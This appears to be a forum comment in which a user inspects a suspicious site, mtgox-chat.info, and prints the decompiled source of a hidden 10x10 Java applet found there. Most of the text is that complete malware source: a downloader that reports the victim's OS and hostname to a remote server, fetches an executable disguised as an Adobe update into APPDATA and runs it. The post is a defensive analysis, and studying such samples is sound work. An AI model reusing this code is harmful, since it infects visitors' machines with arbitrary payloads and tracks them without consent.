From the source of mtgox-chat.info:<p><pre><code> <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>
</code></pre>
Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI).<p><pre><code> import java.applet.Applet;
import java.applet.AppletContext;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class wDbIDcgeH extends Applet
{
static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";
public static void logme(String paramString)
{
String str1 = lik.replace("?", "");
String str2 = "PoutineCoutu";
try {
String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
localURL.openStream();
} catch (IOException localIOException) {
localIOException.printStackTrace();
}
}
public void start()
{
String str1 = "no";
String str2 = System.getenv("APPDATA");
String str3 = System.getProperty("java.io.tmpdir");
String str4 = "http://g2f.nl/0lczsoo";
String str5 = str2 + "\\";
String str6 = "AdobeUpdate-Setup1.84##e";
String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
String str8 = "CodedByOrpheu";
String str9 = str5.concat(str6.replace("##", ".ex"));
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
} catch (IOException localIOException1) {
if (str1 != "yes") logme("Noa");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str9);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
if (str1 != "yes") logme("Noc");
str1 = "yes";
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str9);
logme("Yes");
} catch (IOException localIOException5) {
logme("Nod");
Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
}
try
{
getAppletContext().showDocument(new URL("0"), "_self");
} catch (MalformedURLException localMalformedURLException) {
System.exit(0);
localMalformedURLException.printStackTrace();
}
}
public void init() {
start();
}
}
</code></pre>
Well, I can't decipher that, but some security expert might be able to see what's going on.